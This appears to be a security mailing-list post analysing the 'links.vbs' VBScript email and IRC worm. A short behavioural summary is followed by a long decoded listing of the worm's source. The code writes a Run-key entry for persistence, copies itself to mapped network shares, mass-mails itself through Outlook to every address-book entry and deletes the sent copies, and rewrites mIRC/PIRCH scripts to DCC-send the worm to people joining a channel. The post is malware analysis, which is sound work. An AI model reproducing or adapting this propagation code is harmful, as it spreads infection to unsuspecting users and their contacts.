Re: Email virus on the prowl

[rfp () WIRETRIP NET (.rain.forest.puppy.)]

Whoever wrote that recursive, obfuscated piece of mess should be revered
and shunned at once.  Man, what a pain to decode.  Anyways, for those of
you who care, essentially what it does, start to finish:

* You get it in email (or IRC, but we'll get to that) (called links.vbs)

* You run it.

* It spews out a child script called rundll.vbs, and tweaks the Run key in
        the registry

* Asks you if you want a link to a porn site (www.sublimedirectory.com)
        on your desktop...if so, makes it

* Copies itself to any network-mapped/UNC shares you have available

* Opens Outlook and sends itself to everyone in your AddressList
        Subject: Check this
        Message:
                Have fun with these links.
                Bye.
        
        It also attaches itself (links.vbs)

--So there you go.  Now, don't forget about rundll.vbs in your Run key.
On your next boot, it will:

* Recreate links.vbs (kinda cool...recreating the parent script)

* Search your hard drive for standard installs of MIRC and PIRCH.  If
        found, modify the scripts to dcc send links.vbs to everyone who
        enters a chat room you're in.

--That's it.

So propagation includes email and IRC.  Solution?  As always, don't run
anything sent to you, especially if it tempts you with free porn. :)  I
guess you could disable scripting and whatnot, but that's a poor action to
protect against stupidity.

I've included the 'decoded' script below for viewing pleasure. You'll
just have to deal with the line wraps.

BTW, for those of you aware, no, I did not release something last
week/last weekend.  I *do* have something, but I'm finishing up
documentation.  Don't worry, I will release more stuff.  And this does not
count.:)

Groovy,
.rain.forest.puppy.

-----------------------------------
' this is the decoded virus (not functional)

On Error Resume Next
Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)

Do While A2.AtEndOfStream = False And Mid(A3,40,10) <> "`sd]Lhbsnr"
 A3 = A2.ReadLine ' this will be the regwrite line
Loop

A2.Close

Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS",True)

'
'
' Start A4.Writeline decoded mess
'
' Essentially of of these where wrappered in A4.WriteLine(), and would be
written to
' A4 (text file opened above)
'
' Note that spacing and comments are my own
'
' ------------------------------------------------------------------------
' Being child script
'

On Error Resume Next

Set A1 = CreateObject("Scripting.FileSystemObject")
Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)

Do While A2.AtEndOfStream = False And Mid(A3,43,10) <> "f[Njdqptpe"
 A3 = A2.ReadLine
Loop

A2.Close

Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"),True)

' A4 is going to reconstruct the original doc

A4.WriteLine("On Error Resume Next")
A4.WriteLine("Set A1 = CreateObject(""Scripting.FileSystemObject"")")
A4.WriteLine("Set A2 = A1.OpenTextFile(WScript.ScriptFullName,1)")
A4.WriteLine("Do While A2.AtEndOfStream = False And Mid(A3,40,10) <>
""`sd]Lhbsnr""")
A4.WriteLine("A3 = A2.ReadLine")
A4.WriteLine("Loop")
A4.WriteLine("A2.Close")
A4.WriteLine("Set A4 =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),""RUNDLL.VBS"",True)")

Set A5 = A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A5.AtEndOfStream = False
 A4.WriteLine("A4.WriteLine(B(""" & C(Replace(A5.ReadLine, """","""""") &
"""))")
Loop ' re-encode ourselves and put us back
A5.Close

'
' ----------------------------------------------------------------------
' Write this to the end of A4 (sub-sub script)
'

A4.Close

Set A5 = CreateObject("WScript.Shell")
A5.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Rundll",A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS")

If MsgBox("This will add a shortcut to free XXX links on your desktop. Do
you want to continue?",36,"Free XXX links") = 6 Then
 Set A6 =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders("Desktop"),"FREE XXX
LINKS.URL",True)
 A6.WriteLine("[InternetShortcut]")
 A6.WriteLine("URL=http://www.sublimedirectory.com/";)
 A6.Close
End If

Set A7 = CreateObject("WScript.Network")
Set A8 = A7.EnumNetworkDrives
If A8.Count <> 0 Then
 For A9 = 0 To A8.Count - 1
  If InStr(A8.Item(A9),B("]]")) <> 0 Then
   A1.CopyFile WScript.ScriptFullName,
A1.BuildPath(A8.Item(A9),"LINKS.VBS")
  End If
 Next
End If

Set A10 = CreateObject("Outlook.Application")
Set A11 = A10.GetNameSpace("MAPI")

For Each A12 In A11.AddressLists
 Set A13 = A10.CreateItem(0)
 For A14 = 1 To A12.AddressEntries.Count
  Set A15 = A12.AddressEntries(A14)
  If A14 = 1 Then
   A13.BCC = A15.Address
  Else
   A13.BCC = A13.BCC & ";" & A15.Address
  End If
 Next

 A13.Subject = "Check this"
 A13.Body = "Have fun with these links." & Chr(13) & Chr(10) & "Bye."
 A13.Attachments.Add WScript.ScriptFullName
 A13.DeleteAfterSubmit = True
 A13.Send
Next

Function B(B1) ' was the decode function
 For B2 = 1 To Len(B1)
  If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And
Asc(Mid(B1,B2,1)) <> 126 Then
   If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
    B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))
   Else
    B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))
   End If
  Else
   B = B & Mid(B1,B2,1)
  End If
 Next
End Function

'
' End crap written to A4 (sub-sub script to create original)
'
-----------------------------------------------------------------------------
'

A4.Close

' this attempts to infect IRC script files found on all drives
For Each A6 In A1.Drives
 If A6.DriveType = 2 Then
  D A6.DriveLetter & ":\MIRC"
  D A6.DriveLetter & ":\PIRCH98"
 End If
Next

Set A7 = CreateObject("WScript.Shell")
D
A7.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")

Function B(B1) ' function to decode
 For B2 = 1 To Len(B1)
  If Asc(Mid(B1,B2,1)) <> 32 And Asc(Mid(B1,B2,1)) <> 33 And
Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 160 And Asc(Mid(B1,B2,1))
<> 255 Then
   If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
    B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,8,1)) - 2,1))
   Else
    B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,8,1)) - 2,1))
   End If
  Else
   B = B & Mid(B1,B2,1)
  End If
 Next
End Function

Function C(C1) ' function to encode
 For C2 = 1 To Len(C1)
  If Asc(Mid(C1,C2,1)) <> 34 And Asc(Mid(C1,C2,1)) <> 35 And
Asc(Mid(C1,C2,1)) <> 126 Then
   If Asc(Mid(C1,C2,1)) Mod 2 = 0 Then
    C = C & Chr(Asc(Mid(C1,C2,1)) + Right(Asc(Mid(A3,18,1)) + 5,1))
   Else
    C = C & Chr(Asc(Mid(C1,C2,1)) - Right(Asc(Mid(A3,18,1)) + 5,1))
   End If
  Else
   C = C & Mid(C1,C2,1)
  End If
 Next
End Function

Sub D(D1) ' infect IRC scripts
 If A1.FolderExists(D1) = True Then
  For Each D2 In A1.GetFolder(D1).Files
   If UCase(D2.Name) = "MIRC32.EXE" Then
    Set D3 =
A1.CreateTextFile(A1.BuildPath(D2.ParentFolder,"SCRIPT.INI"),True)

    D3.WriteLine("[script]")
    D3.WriteLine("n0=on 1:join:#:if $me != $nick dcc send $nick") &
A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"))

    D3.Close
   End If
  If UCase(D2.Name) = "PIRCH98.EXE" Then
Set D4 = A1.CreateTextFile(A1.BuildPath(D2.ParentFolder,
"EVENTS.INI"),True)

'
' Printed decoded output to D4 (Pirch98's events.ini)
'

[Levels]
Enabled=1
Count=6
Level1=000-Unknowns
000-UnknownsEnabled=1
Level2=100-Level 100
100-Level 100Enabled=1
Level3=200-Level 200
200-Level 200Enabled=1
Level4=300-Level 300
300-Level 300Enabled=1
Level5=400-Level 400
400-Level 400Enabled=1
Level6=500-Level 500
500-Level 500Enabled=1

[000-Unknowns]
User1=*!*@*
UserCount=1

'
' Notice code here
'

D4.WriteLine("Event1=ON JOIN:#:/dcc send $nick " &
A1.BuildPath(A1.GetSpecialFolder(0),"LINKS.VBS"))

'
'
'

EventCount=1

[100-Level 100]
UserCount=0
EventCount=0

[200-Level 200]
UserCount=0
EventCount=0

[300-Level 300]
UserCount=0
EventCount=0

[400-Level 400]
UserCount=0
EventCount=0

[500-Level 500]
UserCount=0
EventCount=0

'
' End decoded output to A1
'

D4.Close
End If
Next

For Each D5 In A1.GetFolder(D1).SubFolders
 D D5.Path
Next

End If
End Sub

'
' End child script
'
-------------------------------------------------------------------------------------
'

A4.Close

Set A5 = CreateObject("WScript.Shell")
A5.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Rundll",A1.BuildPath(A1.GetSpecialFolder(1),"RUNDLL.VBS")

If MsgBox("This will add a shortcut to free XXX links on your desktop. Do
you want to continue?",36,"Free XXX links") = 6 Then
 Set A6 =
A1.CreateTextFile(A1.BuildPath(A5.SpecialFolders("Desktop"),"FREE XXX
LINKS.URL",True)
 A6.WriteLine("[InternetShortcut]")
 A6.WriteLine("URL=http://www.sublimedirectory.com/";)
 A6.Close
End If

Set A7 = CreateObject("WScript.Network")
Set A8 = A7.EnumNetworkDrives
If A8.Count <> 0 Then
 For A9 = 0 To A8.Count - 1
  If InStr(A8.Item(A9),"\\") <> 0 Then
   A1.CopyFile WScript.ScriptFullName,
A1.BuildPath(A8.Item(A9),"LINKS.VBS")
  End If
 Next
End If

Set A10 = CreateObject("Outlook.Application")
Set A11 = A10.GetNameSpace("MAPI")

For Each A12 In A11.AddressLists
 Set A13 = A10.CreateItem(0)
 For A14 = 1 To A12.AddressEntries.Count
  Set A15 = A12.AddressEntries(A14)
  If A14 = 1 Then
   A13.BCC = A15.Address
  Else
   A13.BCC = A13.BCC & ";" & A15.Address
  End If
 Next

 A13.Subject = "Check this"
 A13.Body = "Have fun with these links." & Chr(13) & Chr(10) & "Bye."
 A13.Attachments.Add WScript.ScriptFullName
 A13.DeleteAfterSubmit = True
 A13.Send
Next

Function B(B1) ' was the decode function
 For B2 = 1 To Len(B1)
  If Asc(Mid(B1,B2,1)) <> 34 And Asc(Mid(B1,B2,1)) <> 35 And
Asc(Mid(B1,B2,1)) <> 126 Then
   If Asc(Mid(B1,B2,1)) Mod 2 = 0 Then
    B = B & Chr(Asc(Mid(B1,B2,1)) + Right(Asc(Mid(A3,70,1)) + 1,1))
   Else
    B = B & Chr(Asc(Mid(B1,B2,1)) - Right(Asc(Mid(A3,70,1)) + 1,1))
   End If
  Else
   B = B & Mid(B1,B2,1)
  End If
 Next
End Function